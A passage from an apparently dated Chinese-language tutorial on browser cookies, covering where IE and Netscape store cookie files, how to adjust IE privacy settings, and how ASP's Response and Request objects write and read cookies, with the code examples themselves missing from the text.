Settings用户名Cookies。 硬盘中的Cookies文件可以被Web浏览器读取,它的命令格式为:用户名@网站地址[数字]。 如笔者计算机中的一个Cookies文件名为:ch@163[1]。 要注意的是:硬盘中的Cookies属于文本文件,不是程序。 Cookies的设置 你可以在IE的“工具/Internet选项”的“常规”选项卡中,选择“设置/查看文件”,查看所有保存到你电脑里的Cookies。 这些文件通常是以user@domain格式命名的,user是你的本地用户名,domain是所访问的网站的域名。 如果你使用NetsCape浏览器,则存放在“C:PROGRAMFILESNETS- CAPEUSERS”里面,与IE不同的是,NETSCAPE是使用一个Cookie文件记录所有网站的Cookies。 我们可对Cookie进行适当设置:打开“工具/Internet选项”中的“隐私”选项卡(注意该设置只在IE6.0中存在,其他版本IE可以单击“工具/Internet选项”“安全”标签中的“自定义级别”按钮,进行简单调整),调整Cookie的安全级别。 通常情况,可以调整到“中高”或者“高”的位置。 多数的论坛站点需要使用Cookie信息,如果你从来不去这些地方,可以将安全级调到“阻止所有Cookies”;如果只是为了禁止个别网站的Cookie,可以单击“编辑”按钮,将要屏蔽的网站添加到列表中。 在“高级”按钮选项中,你可以对第一方Cookie和第三方的Cookie进行设置,第一方Cookie是你正在浏览的网站的Cookie,第三方Cookie是非正在浏览的网站发给你的Cookie,通常要对第三方Cookie选择“拒绝”。 你如果需要保存Cookie,可以使用IE的“导入导出”功能,打开“文件/导入导出”,按提示操作即可。 Cookies的写入与读取 Cookies集合是附属于Response对象及Request对象的数据集合,使用时需要在前面加上Response或Request。 用于给客户机发送Cookies的语法通常为: 当给不存在的Cookies集合设置时,就会在客户机创建,如果该Cookies己存在,则会被代替。 由于Cookies是作为HTTP传输的头信息的一部分发给客户机的,所以向客户机发送Cookies的代码一般放在发送给浏览器的HTML文件的标记之前。 如果用户要读取Cookies,则必须使用Request对象的Cookies集合,其使用方法是: 需要注意的是,只有在服务器未被下载任何数据给浏览器前,浏览器才能与Server进行Cookies集合的数据交换,一旦浏览器开始接收Server所下载
发表评论